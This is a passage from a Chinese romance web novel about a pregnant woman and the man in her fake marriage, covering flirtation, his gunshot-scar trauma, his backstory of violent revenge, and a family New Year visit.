“你放心吧,我会照顾好你的!”她眉眼弯弯,“你想摸摸胎动吗?” 黎铮卡着腰无奈。 没过一会儿,手掌又很老实地放在她的肚子上。 “没动。” “你等会儿,我唱唱歌,就动了。” 甄宝珠唱了一会儿摇篮曲,孩子也没动,她的声音由大到小,成功把自己给哄睡着了。 黎铮歪头看她,没见过有人能唱着歌把自己哄睡。 她的脸白白嫩嫩,黑发散在床上,部分弯曲在颈窝,黎铮没忍住,把蜷在颈窝的发梢拨开,她的下巴微微扬起,露出白净细长的脖颈。 “黎铮。” 她又在梦里叫他的名字。 黎铮的神经紧绷起来,整个人都有些烧燥。 还是春梦? 还是关于他的春梦? 她舔了舔唇,粉色的舌尖将嘴唇浸润,又匆匆抿回。 他好像听到自己的心跳声。 咚咚咚咚咚。 “做饭多放糖~” “” * 甄宝珠睡醒之后,才发现自己昨夜就睡在他的床上,但黎铮不在身边。 她一翻身,看到摄像头还对着床边,唇角微翘,美滋滋打开监控软件。 黑夜中,黎铮撑着脑袋长久凝视她,然后伸手摸了摸她的脸。 此时她举着手机,手背也触了触自己滚烫的脸颊。 她还叫了黎铮的名字,说着让他多放糖的话。 黎铮的指尖蜷回,刮她的鼻尖,声音低低的,声线也温柔。 “贪吃鬼。” 片刻之后,他把手掌轻放在甄宝珠的肚子上,在对肚子里的胎儿说话:“你妈妈很漂亮,你也会很漂亮。” 他说她漂亮。 她捧着手机乐不可支。 这下让她抓到了吧。 她一兴奋,在床上翻来滚去,不小心就打翻了床头的水。 水顺着柜沿漫散,她忙抽出几张纸巾去擦,拉开床头柜挡水,无意瞥见床头柜里的东西。 她张着嘴,愣怔住了。 * 当晚黎铮回到家,就看到甄宝珠身上只套了一件他的白衬衫,若无其事坐在岛台边,好像在等他。 稍息趴在她脚边,脸贴着毛绒绒的白拖鞋。 “你为什么穿我的衣服?”他皱眉问道。 “不能穿吗?”她反问。 “脱下来。”他面有不悦。 “现在?当你面?”她调戏他。 “甄宝珠,你别忘了,我们是假结婚” “贪吃鬼。” 他身后的巨幅电视上正播放着昨夜的监控,甄宝珠拿起遥控器,撩了撩头发,一脸得意。 “你妈妈很漂亮,你也会很漂亮。” 甄宝珠和视频里的黎铮同时说。 黎铮愣怔在原地,只感觉头皮发麻。 “唉,有些人就是嘴硬,骗骗别人得了,别把自己骗了。”甄宝珠一摊手,扭扭哒哒上楼了。 黎铮看着循环播放的视频,缓了好久才上楼,他觉得应该还可以狡辩一下。 他站在甄宝珠卧室门口,轻咳一声,“我可以解释。” 甄宝珠侧身躺着,手搭在光裸大腿上,“解释吧。” 黎铮动了动唇,他还没有想好怎么狡辩,哦不,解释。 他想了半天,憋出一句话:“如果我说我在梦游,你信么?” 甄宝珠拍着床垫,笑得眼泪都要流出来了,笑着笑着她就拧紧眉心,捂住肚子。 “嘶~好疼。” 黎铮往前几步,“哪儿疼?” 她捂着肚子在床上翻来滚去,看起来特别痛苦。 黎铮刚准备抱起她去看医生,就被她扯住衣领按在床上,她跨在黎铮身上,唇角露出一抹胜利的笑容。 “我有没有说过,不要和我玩狼来了的游戏?”他沉了沉气,“这是第二次了。” “坐在你身上第二次?”她按着黎铮的胸口,发梢扫过他脸颊,“别装,你明明也想的。” 腿缝间的空隙已经被黎小铮填满,隔着几层布料她也能感受得到。 “下去。”黎铮闭了闭眼,喉间轻滚。 “我不,有能耐你把我推下去。”甄宝珠挑衅。 黎铮双手护着她日渐圆润的腰肢,发鬓沁出细汗,极力忍耐着。 甄宝珠的唇贴近他耳边,身上的衬衫也随着她的动作向上卷起几寸,裹着曼妙身体。 她握着他的手从腰间往下挪,似是引诱,“黎总现在怎么敢想,不敢做?” “别闹了,行吗?”他嗓音低哑,口干舌燥。 “好烫。”她轻笑道:“我是说,你的脸。” “你摸的不是我的脸。”他气息渐乱。 那双冰凉的小手已经钻进他的衬衫,在认真数他有几块腹肌。 他能感觉到软臀细细捻在他的身上,他也知道理智已经在失控的边缘,他不能允许自己脱轨,伸手拽住甄宝珠的衬衫下沿,指节却碰到了一片蕾丝。 黎铮瞬间变了脸色。 “黎总,这条内裤你熟悉?是我在你床头柜里找到的。”她贴在他胸口笑,闷闷的声音传进他的心口,“没看出来,你还挺变态的,把我的内裤装在丝绒盒子里,是不是还用它弄过?” “甄宝珠” 他只叫她的名字,却再也说不出过分硬气的话。 整个房间变得潮热无比。 甄宝珠剥开他衬衫上一粒粒纽扣,手指顺着心口向下滑,在他清健的肌肉游走,他的皮肤很薄,身上出了细密的汗。 胸口向下三寸,她的手指被一道凸起的伤疤挡住,试着摸索那道伤疤的缝合形状,她碰一下,黎铮的身体就紧僵一分。 直到她听不到黎铮的呼吸声,却能感受到他极度战栗的身体。 这很不对劲儿,甄宝珠打开灯。 一双布满血丝的眼睛望着她,他脖颈的筋线僵直、额角的青脉暴起,紧紧攥着双拳,长久地屏住呼吸。 他快窒息了。 “黎铮。”甄宝珠惊慌中拍了他一巴掌。 “黎铮,呼吸。” 死亡离他很近,他甚至能清楚回忆起濒死的感觉,她的手很凉,抚摸的动作柔软,让他想起消毒棉球擦拭伤口的感觉。 那些回忆洪流一般奔涌,完全将他淹没。 庆幸有人捞起了他。 她捏住他的鼻子,嘴唇贴着他的唇。 把他从封闭真空的密室救了出来。 在她做完人工呼吸,准备给黎铮心肺复苏的时候,黎铮按住她紧扣的双手,开始剧烈喘息。 他的胸脯上下起伏,那道伤疤随着身体颤动跳入甄宝珠眼中。 她双手捂住嘴,差点惊呼出声。 那是一道明晃晃的枪伤。 第25章 第 25 章 pia,一个耳光。…… 黎铮逐渐平静下来, 用包裹纱布的手挡着眼睛,不想看见顶灯打在甄宝珠身上的柔柔光晕。 那样的她看起来像个天使。 “你先下来。”他哑着声,对惊慌失措却仍骑在他身上的甄宝珠说。 甄宝珠立刻从他身上滚了下来, 抱着屈起的腿弯,小心翼翼看着他。 她认得枪伤是什么样子,儿时她见过爷爷腿上的枪伤, 那时她好奇地问爷爷疼不疼, 那个目光坚毅的老军人笑着对他的孙女说:“疼。” 当时她觉得一定像打针一样疼, 后来她知道, 一到阴天下雨,爷爷就无法行动,把自己封闭在房间里, 隐忍着、等待着无法治愈的后遗症剥蚀他的躯体和神经。 而黎铮坐起身, 缓了缓呼吸,垂着眼睫, 声音极轻, 像自言自语:“吓到你了是吗?” 他的伤疤鲜有人知, 更没被人碰过,是她的动作让他应激,他本来应有更激烈的反应, 但他捏紧拳头克制,大脑一片空白, 忘记了呼吸与求生的本能,像当初中枪时一样。 “吓死我了, ”甄宝珠揉了揉凌乱的头发,“我以为你快死了,为什么不说话, 为什么不让我停下?” 他低着头,说:“我想和你做。” 空气安静了片刻。 甄宝珠闭着眼,孕激素和惊吓让她身体颤抖、眼泪狂飙,她冲他喊:“做你个大头鬼。” 黎铮拉过她的身体,让她横坐在自己腿上,把她抱紧在怀里,轻轻拍着甄宝珠的后背,对她说:“别怕。” 任她哭泣着,不停捶打他,湿润的眼泪落在他胸口,像下了一场淅淅沥沥的雨,把他的心泡得柔软无比。 “你差点儿死了你知道吗?” “我也不是第一次差点死了。” 甄宝珠抬起朦胧的双眼,望着他平静的侧脸,“你的伤,是怎么弄的?” 黎铮抿着唇,沉默很久,心里很乱。 第一次去甄家,他就听过甄家的老英雄讲伤口的来历,而黎铮则是难以启齿。 “我是你的妻子,我有权利知道。”她认真道:“如果你不告诉我,你们明天就离婚。” 离婚的砝码总是很容易就让理智的天平倾斜。 他缄默片刻,缓缓开口:“前几年有个新闻,菲尔家族继承人在华尔街险遭枪击,你知道吗?” 那是个震动世界的大新闻,世界顶级的富豪家族的继承人在枪击中捡回一条命,是随行人员替他挡了一枪。 甄宝珠的眼眸望向黎铮胸下三寸,他点了下头:“M9手枪,断了肋骨。” 媒体大肆报道的主角是那位继承人和那个持枪者,人们关注的重点也都是他们之间的恩怨,黎铮作为随行人员只是被一笔带过。 后面的故事就很简单,他大难不死,又得贵人相助,凭着过人胆识一路风生水起。 他太平静了,仿佛在讲别人的故事。 只是甄宝珠注意到一个细节。 黎铮当时的身份并不是保镖。 面对枪击事件,任何人的本能都是躲避、逃窜,他的反应速度比一般人快,甄宝珠是相信的,她不理解的是,黎铮为什么要这样做。 他从小接受的教育绝对不包含见义勇为,个人主义才是主流价值观。 甄宝珠愣了很久,犹豫问道:“你为什么救他?” 黎铮嘴唇紧抿,不肯开口。 他出生在国外,但不是中产家庭,父母开中餐馆讨生活,他们大多时候都讲中文,只有在与他交流时用英语,也要求他说英语。 他从小就感觉自己与存在的世界格格不入,他是黄皮肤黑头发,英语是他的母语,他的美国同学说他是中国人,他的中国父母要他当美国人。 困惑、混乱、割裂。 是他平时的生活状态。 挑衅、歧视、孤立。 是他经常要面对的状况。 生长在社会底层,因为肤色遭受种种不公对待的黎铮,一直以来都没能厘清所谓正确价值观,而那一刻,是他混沌的意识形态推了他一下。 后来那位继承人、他的心理医生都问过他,为什么会舍身去救一个非亲非故的人? 黎铮无法说出口。 他没有什么英雄主义,身上的伤疤也不是荣誉奖章,而是他内心自卑的铁证,相比起那把手枪对胸口的冲击,后来他每日每夜的内心拷问,才是连绵不绝的后遗症。 在那个国度, 是不是白人天生高贵? 是不是他烂命一条? 是不是连他自己都觉得自己烂命一条,所以那个时候潜意识替他作出选择? “你觉得他的命比你的命重要?”甄宝珠也如此问他。 早已成疤的伤口隐隐作痛,他眼圈忽然泛红,艰难地扯唇一笑,“是啊。” “pia” 一个耳光,猝不及防。 他不期望娇生惯养的公主能同情他曾经的处境,也不希冀英雄的后代能理解他当初的做法,但他没想到甄宝珠是这种反应,也不知道该做出什么反应。 他懵住了。 下一秒,甄宝珠挽臂抱紧他,纤细的胳膊用力紧缠宽阔的背脊,像甜白的牛奶想要倒进苦涩的咖啡。 甄宝珠难以想像,在全世界都在宣扬人人平等的今天,黎铮到底经历过多少不公平,才能形成如此扭曲的价值观。 她只知道,这个紧紧抱着她,嘴上说着让她“别怕”的人,才是最没有安全感的人,那些严苛的保护措施,大概都是黎铮对自身的过度补偿。 她似恨铁不成钢一般骂他:“你傻不傻?没有任何人的命比你的命更重要,没有任何人值得你那样做,阎王爷和上帝都不收你,他们都看不惯你那副不值钱的样子。” 黎铮紧紧搂着她的腰,把头埋进她的颈窝,那里有她皮肤传出的热度。 温暖的、安全的、母体一般的。 “我当时只觉得他是很重要的客户,我需要他活着,需要他的钱,如果我死了,他也会给我家人一大笔钱,我爸妈不用再每天浸在油烟里,我妹妹可以得到一台车作为成人礼物,那时候我甚至是理智的,但后来,我不能接受我当时是理智的。” 他将自己和盘托出,那些从未对心理医生说过的话,他都和甄宝珠讲,并且渴望着甄宝珠能理解他,怜爱他,不要看不起他,最不济,他希望她能觉得他是个可怜人,然后就这样一直抱着他,不要推开他。 甄宝珠沉默良久,双手依然环着他的脖颈,一遍遍抚摸他的头发,像一只母兽为小兽舔舐毛发。 他身上的苦涩味道紧紧包裹她的身体,她闭上眼睛,连灵魂也像在苦涩咸湿的海里淘了一遍,那是她颈窝处落下的眼泪。 “如果当时你死了,我还怎么打你?”她喃喃自语,问他也问自己。 他的脸颊还被扇得微微发烫, 但他忽然想, 幸好没死。 他知道甄宝珠的嘴是硬的,巴掌打人是疼的,但皮肤是温暖的,心是软的。 他用更紧嵌的拥抱回应她。 感激她没有推开他。 “以后你都别死。”甄宝珠说着幼稚话。 “那怎么可能。”他呐呐道。 甄宝珠捧起他的脸,严肃到较真儿地说:“那你以后不许犯傻,一直活到99岁。” “行,我如果99岁之前死了,你就一巴掌再把我抽活。”他也说着幼稚话。 甄宝珠摸了摸他的脸, “疼吗?脸。” 黎铮亲了亲她的手心, “疼吗?手。” 她撇嘴嫌弃:“把你打爽了是吧?” 黎铮不说话,把她揉进怀里。 那晚,他们紧紧相拥,依偎入眠。 那晚,京市下了头一场雪。 清晨,黎铮拉开窗帘。 大地雪白,心也明朗。 * 两人很默契地再没提起过那晚的对话,当然,那晚她本来想做的也都没做成。 当甄宝珠怀孕六个月,黎铮的婴儿床也正式完工了。 他拉着甄宝珠的手,带她去车库,神秘兮兮说想让她看看婴儿床。 她的孕肚已经很明显了,走路也慢,小嘴不停叭叭抱怨:“看就看,你把婴儿床放在车库干嘛?就不能扛上楼来让我看?” 车库门一打开。 气球、彩带、鲜花瀑布围绕着一辆满钻镶嵌的路虎揽胜。 甄宝珠差点被闪瞎眼,不禁问道:“这是干嘛?” 黎铮笑笑,把钥匙交在她手心,“港商的生意谈成了,想送你个礼物。” 甄宝珠甩了甩车钥匙,脸上掩不住笑意,“给我提成啊?” 她围着那辆车转了一圈,在心里暗暗嫌弃。 没见过给路虎揽胜镶满钻的,像五大三粗的硬汉穿了条白边蕾丝袜,这种车开去收账都得把人笑死。 她特意跑去敲了敲车窗,果然还是熟悉的黎铮,铁打的防弹标准。 见她撇嘴,黎铮问:“你不喜欢?” “甄世明的车我开得好好的,”她扯着气球下的彩带,“你送我车干嘛?” 黎铮的表情很认真,“我希望你能有属于自己的资产,车、房我正在看,还有” “可我喜欢跑车,敞篷的。” “跑车空间小,儿童安全座椅已经装好了。” 甄宝珠走到他面前,狐疑地看着他,车钥匙也随着她指点的动作晃来晃去,“无事献慇勤,非奸即盗。说,想干什么?” 黎铮颇为无语,拨开她的手,“你看不出来吗?” 短短几秒,甄宝珠把最近做过的亏心事都想了一遍,最后肯定道:“你犯事了,想转移资产。” “我在追你。”他冷着脸说。 甄宝珠的眼珠左转右转,唇角悄悄弯起又拚命压下,扬起下巴打量他,“追我?我好像没接到黎总的通知。” “我现在通知你。”黎铮说。 “我这人很难追的,谈恋爱看重感觉,少用金钱收买我。”甄宝珠抱着手臂努嘴。 “我试试,我们慢慢来。”黎铮拉起她的手,“从牵手开始,感觉怎么样?” 感觉…还行… 但甄宝珠咬了咬唇,得寸进尺问:“不能从摸胸肌开始吗?” “甄宝珠…”黎铮叫她的名字,语气略显无奈。 “怎么了?黎铮。”她直起腰板,也叫他的名字。 她小声碎碎念:“明明已经抱过亲过了,装什么纯情处男~” “我没装。”黎铮紧捏她的手指。 甄宝珠偷瞥了眼黎铮认真的模样,嗤嗤一笑,一脸吃瓜表情,“你真是处男啊?” 黎铮不愿意承认,但微红的脸色已经出卖了他,他说:“我也不是完全没经验,也看过一些…文学。” 甄宝珠笑得直捂肚子,拍着他的肩膀不停嘲笑他,“原来你还是个小孩子啊。” 黎铮偷偷捏紧了拳头。 * 追女孩很费劲。 追甄宝珠这样的更费劲。 她孕期嘴馋,想法极其刁钻,隔三差五就要吃些奇奇怪怪的东西。 看神州十九上天,她说想尝尝宇航员的太空盒饭,黎铮多方联系厨师给她做。 看电影午夜巴黎,她想起曾经吃过巴黎铁塔 餐厅赠送的巧克力,黎铮也给她带回来。 看北京遇上西雅图,她大半夜要吃豆浆油条,黎铮穿着睡衣在厨房炸了一晚上油条。 她啃着油条,问他为什么不出去跑几条街给她买,黎铮看着外面黑漆漆的天空无语凝噎,顺手把她存在平板里的舌尖上的中国给删了。 追了一段时间,黎铮才明白,甄宝珠口中所说,前任男友都温柔体贴,大概是她驯化的结果,并不是人家本身就没脾气。 这一点,甄宝珠本人根本没意识到。 她只是觉得自己提了一些很“正常”的需求,当他说出那句“追你”的时候就应该有觉悟。 黎铮的脾气就是这样被甄宝珠磨没的,那段时间,连公司的人都说黎铮的性情温和了很多。 * 当甄宝珠开始使唤黎铮给她抹妊娠油时,黎铮才感觉之前那些都不算什么折磨。 每晚临睡前才是黎铮一天中最艰难的时光。 先去浴室把甄宝珠要用的瓶瓶罐罐挑出来,等他从浴室出来,甄宝珠已经晾着白肚皮,平躺在床上等他。 他把妊娠油倒在掌心搓热,先贴在她腹部两侧让她试试温度。 “好烫~”她娇声媚气。 “这是手,如果你感觉烫,我离火化也不远了。”他故作不解风情。 毕竟是他自己说的“慢慢来”。 而甄宝珠就喜欢看别人分分钟打脸。 博弈又开始了。 从下腹到上腹,他推揉涂抹。 “流出来了~” 他挡住顺着皮肤向两侧流淌的精油,“是流下去了。” 观察要仔细,动作要轻柔,每片皮肤都不能遗漏,还得忍着她的挑逗。 “正经一点儿,有孩子呢。” 甄宝珠吐吐舌,“我孩子每天跟我呆在一起,早习惯ta妈是什么样的人了。” 她的肚子亮晶晶,泛着润玉般的光泽。 “黎铮,我长妊娠纹了吗?” “没有。” “我长妊娠纹是不是就不漂亮了?以后就不能穿超短裙了。” “你想穿还可以穿。” 他给甄宝珠翻了个身,按揉腰侧和脊柱。 “对了,你是喜欢我穿短裙还是长裙?” 黎铮想了会儿,说:“短裙腿长,长裙腰细,都好看。” “还是短裙吧,不用撩,坐上去就行。” 她腰间的痒肉被黎铮按了一下,她急了:“过过嘴瘾也不行?” 黎铮把她的孕妇睡衣卷下去,问:“最近每天都能感觉到胎动吗?” “小混蛋每天在我肚子里练武术。”她愤愤地说:“真想把ta揪出来打一顿。” 黎铮笑,“等ta出来,我帮你收拾ta。” 她看着黎铮温柔的眉眼,抿了抿唇。 等孩子出生。 孩子出生之后的生活她没想过,她大概不能像以前一样自由洒脱、随性而为,黎铮现在追她,以后呢? 她的孩子该叫他什么? 孩子会不会因此感到困惑? 黎铮是否有和她共同抚养孩子的打算? 甄宝珠自己想不明白,坐在床边发呆。 黎铮捏了捏她的脸,“又在想什么坏招?” “黎铮,”她轻声问:“你不介意吗?” 第29章 第 29 章 你先跪下。 黎铮喉结轻滚, 手掌轻轻抚摸甄宝珠肚子,静了好久,他说:“我不介意。” 对真诚的人说谎, 要先把良知扔掉。 对喜欢的人说谎,要先把千根针扎进自己心里。 如果甄宝珠知道孩子就是他的,会是什么样的反应, 他不敢想, 他现在只希望她能平安愉快度过孕期。 她抓着衣角, 沉心静气对他说:“我以后可能也不会再生孩子。” 她开始考虑这样对黎铮公不公平。 话总是要说在前头, 她现在不是单身一人,和谁谈情说爱都不用负责任,她要为孩子考虑, 也要为黎铮考虑。 黎铮揉了揉她的头发, “嗯,这是你的权利。” “……” 甄宝珠还想说点儿什么, 但现在讨论这些为时尚早, 未来的变化谁都说不准, 她也不能强求黎铮现在就对她做出什么承诺。 “不管怎样,你能这么说我还是挺开心的,”她展开手臂对他笑, “奖励你抱我一下。” 黎铮把她抱在怀里,大手抚摸着她的头发, 她闭上眼睛享受他有力的拥抱、宽厚的肩膀,看不到黎铮心事重重的表情。 甄宝珠的脸贴在黎铮胸膛, 声音低低地问他跳动的心脏:“你想亲我一下吗?” 他捧起她的脸,指腹摩挲她脸颊的小酒窝,注视红润的嘴唇。 在她以为他又要说什么慢慢来的屁话时, 黎铮低下头,吻住她的唇瓣。 柔情的嘴唇紧贴、轻咬,含着唇珠吮吸,舌尖舔舐唇缝试探。 甄宝珠紧紧抱住他劲瘦的腰身,手指抓着衬衫衣料,闭上眼睛张开嘴唇,让他的舌尖进入,用小心翼翼回应这个小心翼翼的吻。 在天与地之间,在万籁俱寂的夜。 两个渺小的人,只能听到对方的喘息。 互相剥夺空气,感受着窒息般的热烈。 如胶似漆,如火如荼。 他抱得越来越紧,让甄宝珠喘不上气,挪唇躲闪,他的吻又追了上来,强势进入口腔深处,勾着她的粉嫩舌尖缠绵,她的手指尖轻刮他的喉结,颤音贴着唇问:“你想……” 话没说完,又被黎铮堵住了唇。 “想。” 他的理智全面崩塌,眼中充满欲望,啃咬她微肿的嘴唇,气音传进娇嫩的双唇,滚烫的手掌也贴着腹侧挪动。 忽然响起的手机铃声打断了所有进程。 他想关掉手机,低头一看屏幕。 【甄世明】 世界上大概再也没有和妹妹干柴烈火时接到哥哥的电话更能让人心惊胆战的了。 “这个电话得接”他喘着气说。 甄宝珠咬了咬唇,在心里问候这个大半夜没礼貌的人全家。 “谁啊?”她气得锤床。 “你哥。”黎铮把手机屏幕对着她。 “” 甄宝珠撤回一条辱骂。 她夺过手机接起电话:“甄世明,你不知道现在是大半夜吗?” 甄世明语气很严肃:“我找黎铮,你把电话给他。” “跟我说就行,我转达。” “别闹,我有正事。” 甄宝珠把手机扔进黎铮怀里,黎铮接起电话说了两句,就起身离开她的卧室,留下她一脸凌乱。 黎铮站在楼梯窗口,吹了吹冷风,脸上的红晕逐渐褪去,头脑也冷静下来。 电话那头,甄世明的声音听起来很疲惫:“妹夫,我想请你帮我个忙。” 这通电话打了一个小时,他再回卧室的时候甄宝珠已经快睡着了。 河干水枯,毫无性致。 他重新把被角掖好,甄宝珠睡意朦胧问:“甄世明找你什么事?” “公司的事,睡吧。”他在甄宝珠额头印下一吻。 甄宝珠却翻了个身,困倦地拍着床垫,“你睡这儿。” 犹豫片刻,黎铮躺在她身边,轻拍她的后背哄睡,甄宝珠在睡梦中喃喃自语:“甄世明真是转性了,大半夜还奋斗呢,生儿子的人心里苦啊。” 黎铮睁着眼睛,心里思绪万千。 * 第二天一早她就上火了,眉心长痘。 下楼一看黎铮,她乐了。 黎铮的眉心也长痘了,连位置都大致相同。 她飘到他身边,伸出手指捅了捅黎铮的腰,露出一副你懂我懂的小表情,又抱怨甄世明大半夜自己不睡,也不让别人睡。 黎铮笑了笑,递给她牛奶和爱心鸡蛋,“对了,你哥问你今年除夕要不要回家过?” 算起来是快要过年了。 “那我还能去哪里过?” 她没好气道,忘了自己结婚了,转念又想到黎铮。 “你呢?” 黎铮想了想说:“如果你想带我回去过年,我就陪你回去,如果你不想…我就自己一个人在家。” 这话说的,怎么可怜巴巴的呢? 甄宝珠咬了口鸡蛋说:“你不是有个妹妹吗?她过年不回来?” 黎铮垂了垂睫毛,眼中掠过一丝失落,“她应该不会回来,也不想和我一起过年。” “为什么?” “她一直觉得我父母的死,是我造成的。” 甄宝珠停下刀叉,“车祸不是意外吗?” 黎铮平静地说:“不是意外。” 那时候他的第一笔资金投入资本市场,短时间内迅速翻十几倍,资本市场是零和博弈,他手里的筹码曾经都属于别人。 投入资本,到成为资本,黎铮只用了三年,他开了自己的投资公司,也就是最初的远征集团。 他年轻,背景牢靠,行事高调。 意气风发当赢家的同时必然遭到嫉恨,他挡了别人财路,别人就要杀他父母。 他邀请父母去参观他的新公司,派车去接他们,车祸发生时那辆车离黎铮的公司只有一条街的距离。 追悼会上,他的妹妹站在台上指责他:“这一切都是因为我哥哥,你替别人挡枪的时候为什么没有死?” 妹妹指向那位出席葬礼的富豪,“那样他也会给我们一大笔钱。” 最后她说:“希望父母的在天之灵能保佑我哥哥,有很多钱的同时永远不会忘记他们的惨状。” 后来黎铮查到撞死父母的幕后黑手。 盛怒之下,他买了一把枪。 富豪出面调和矛盾,三方见面的时候黎铮腰间就别着那把M9手枪。 他没开口讲一句话就冲对方脸上挥了几拳,冰冷的枪口顶住对方的太阳穴,全身肌肉都紧紧绷着,整个人看来就像是一匹撕咬猎物的狼。 从始至终,富豪的保镖都没有得到阻止的指令。 他太了解黎铮。 就算再愤怒,黎铮的头脑都是冷静的。 “黎,把枪放下。你是我见过最聪明的人,不要做蠢事。” 黎铮的枪口对准那位他曾救过的富豪,眯起眼睛,轻点枪口,“你不想让他死,是因为有商业合作吗?” 富豪唇边泛起笑容,“我说了,你是我见过最聪明的人,我教过你很多知识,但忘了教你收敛锋芒,才酿成现在的惨剧。如果这是我们最后一课,我想教你,聪明人从不与钱作对。” “我父母的惨剧是因为我的锋芒吗?”他扯住凶手的头发,让对方仰起快要折断的脖颈,“你说呢?” 对方吐出一口血,耷拉溃烂的眼皮,对他笑:“发泄够了就放下枪,我们再握握手,还可以一起赚钱。” 黎铮扯起干燥的唇角,目光变得阴冷,“中国人有句话,有仇报仇,拿命换命。” 富豪摇头道:“你不适合待在这里,这话我跟你说了很多次。如果你不愿意合作,不如拿着钱回国去,时间会让一切悲伤淡去…别忘了,你还有妹妹。” …… 黎铮终于下定决心坐上回国的飞机。 飞机起飞的那一刻,制造车祸的凶手也因为经济重罪入狱,面临着无尽的刑期。 空姐走到他身边,问他想喝些什么? 他想喝一杯酒,但最后告诉空姐:“一杯牛奶就好。” 黎铮喝着牛奶,平静地告诉甄宝珠这一切。 “我给了他两条路,如果不想痛快的死,就在监狱过完下半生。” 关于恨意,他没什么好隐瞒的。 他希望甄宝珠能了解他更多一点儿,也希望她能多心疼他一些。 “所有人都说是我的错。” 甄宝珠握住他冰凉的手,“这不是你的错,我无法与你感同身受,但我知道,你没有错。” 黎铮沉沉的目光看向甄宝珠。 出于悲痛,出于利益。 所有人都把这场车祸归咎于他。 但甄宝珠说,不是他的错。 她从不让他失望。 他回握她的手,感受着来自她手心的温度,“仇恨是很奇怪的东西,报复别人的同时,我也担忧被报复。” 他用仇恨折磨别人,也同样折磨他自己。 家里的摄像头,防弹的汽车,一颗时刻紧绷的心,以及他始终无法舍弃的仇恨。 这些折磨他的也伴随他很多年,成为他生活中不容忽视的一部分,他也一直怨自己,从未清醒理智地思考如何能摆脱这样的生活,情愿一辈子就这样背负着复杂的情绪,过孤独的生活。 直到甄宝珠像个土匪,一脚踹开他紧闭的房门,在他像人生一样灰暗的房子里添了几盏灯。 灯一开,人生有了一片光亮处。 “别担心,你是安全的,因为我会护着你。”对于黎铮,她总是有种说不清的情感。 这种保护欲,姑且可称为母性。 她没有办法站在圣母的角度审判黎铮做过的事,那是她喜欢的人,倘若是她的父母,她恐怕会冲动地跟人拚命。 也正因黎铮的克制,让她更心疼。 如果他愿意一直在监控下生活, 那就让摄像头一直亮着灯。 如果有一天,他想关掉监控,换一辆敞篷车,她就坐在副驾驶跟他一起去兜风。 清晨的日光将洒在甄宝珠的脸上,她目光柔和,笑容带着暖意,说:“那就去我家过年吧。” * 除夕。 一年中少有的休息时间。 一大早甄宝珠就把狗放进黎铮的卧室,稍息单脚站地,两条前腿使劲扒他的床,他一伸手制止,湿漉漉的舌头就转着圈儿舔他的手。 他是被狗舔醒的。 甄宝珠已经换好一身定制的中式旗袍,苏绣的红绒边披肩,盘起的头发一丝不苟,耳垂两粒珍珠耳环倒显得温婉几分。 她亲手给黎铮打上暗红色团花纹的领带,轻轻拍了下他的胸口,说:“别紧张,到了我家,你先跪下。” “先跪下?”黎铮瞬间抬起眼光瞪她。 “我爷爷不知道我们偷偷结婚,你先跪会儿,最多…半天,我就把老头儿说服了。” 她的话毫无底气。 “不用担心,我已经安排好了,不会让你爷爷冲我开枪的,”他胸有成竹,“不过,你揩油够了没?” 甄宝珠噘着嘴,把一直贴在他胸口的手拿开,转身从手包里拿出一块小木牌递进他的手心。 “这是游叔叔给我的护身符,我送给你,你挂车上,物理防弹和玄学加持,保佑你平平安安。” 黎铮是唯物主义者,向来不信玄学,但还是把写了甄宝珠生辰的檀木紧握在手心。 路上甄宝珠兴致勃勃放了首歌,是黎铮爱听的刘若英。 “若不是你渴望眼睛,若不是我救赎心情,在千山万水人海相遇,原来你也在这里。” * 他们的车开进甄家停车场,甄玉珠和甄世明正在那里等他们。 甄宝珠抱着稍息向他们挥手,黎铮倒先叫了声:“哥、姐。” 小公主爱吃醋,嫌他叫得亲切,立刻棱他一眼,“这是我哥、我姐。” “我是你老公,”黎铮攥紧她的手,幽怨的眼神看着她,“前几天你还说你家人就是我家人。” 甄宝珠憨憨一笑,说:“条件反射,还没习惯~” 甄世明推着甄玉珠的轮椅,对黎铮说:“放心吧,妹夫,宝珠怀孕的事我和玉珠已经轮番和爷爷说过了,爷爷能理解,他说旧社会也有怀着孩子结婚的。” 那个大半夜的来电,黎铮也在电话里让甄世明帮他个忙。 有时候黎铮挺羡慕甄家兄妹这种关系,甄世明和甄宝珠虽然嘴上怼来怼去,但为她办事从来不说二话。 至于甄玉珠,黎铮没联系过她,她是自发为甄宝珠考虑,过年回家要大着肚子面对毫不知情的爷爷,得提前给老人家打预防针。 兄妹几人一起走出停车场,甄宝珠仍有点儿心虚,走路也慢吞吞,手指不停搓着稍息后颈的白毛,刚修剪过的蓬松毛发被她搓成了摇粒绒。 她问:“姐你是怎么和爷爷说的?” 甄玉珠:“结婚率、生育率,我和爷爷说,你结婚是给国家做贡献,生的孩子是社会主义接班人。” “姐,你这开题够大的。” 她的心情有所放松,又笑成一朵朝阳的小花。 甄玉珠给了她和黎铮一人一个白眼。 “现在肯生孩子的年轻妇女不多了。”甄世明笑道,“我把两儿子送去爷爷那住了几天,教给他们天天趴在爷爷膝边说,想要小妹妹或者小弟弟,爷爷总不能给重孙子两巴掌。” 甄宝珠已经能想像到了,两个小仆人在爷爷身边,眨着清澈的葡萄眼抱腿撒娇,这不得把老头儿忽悠瘸啊。 这下她彻底放心了,走路也轻快许多。 回到家里,老人家远远就看到她微鼓的肚子,伸手招她过去,脸上尽是精神奕奕的笑容。 爷爷干燥苍老的手握住她的手,关怀问道:“宝珠,几个月了?” “六个月了。”甄宝珠乖巧回答。 “好、好,名字取了没?” “还没” 爷爷拿出一张宣纸,上面写有苍劲的毛笔字。 “宝珠,这些是爷爷想的好名字,给你参考一下。”爷爷颇为满意地展示他的书法。 甄宝珠定睛一看,眼皮都瞬间撑了起来。 【黎氏男宝:黎国强、黎春生、黎建设、黎振兴。】 【黎氏女宝:黎丽丽、黎彩苗、黎冬梅、黎超英。】 甄宝珠半天没敢吱声,爷爷问她:“这些名字怎么样?” 这些名字念出来…她都想叫声叔叔阿姨好。 “爷爷,我的孩子,姓甄。” 她硬着头皮,想试探一下爷爷的态度。 爷爷愣了愣神,拽着甄宝珠的手让她凑近点儿,低声问道:“你和小黎说了吗?可不能因为这个影响家庭和谐。” “说了,他同意。”甄宝珠笑了起来,心说他敢不同意。 爷爷又愣了愣,摇头道:“老了老了,年轻人的想法也跟不上了,不过,换个姓这些也都是好名字。” 甄宝珠扯出僵硬的笑容,小心翼翼收起爷爷的起名帖:“爷爷,我们回去再考虑一下哈~” 黎铮上午被爷爷叫去书房,一直在书房和爷爷谈话,陪老人家下棋,把老人家哄得面色红润,心潮激荡。 午饭后,甄世明给了黎铮一个眼色,两人一前一后走到房子外面的吸烟区。 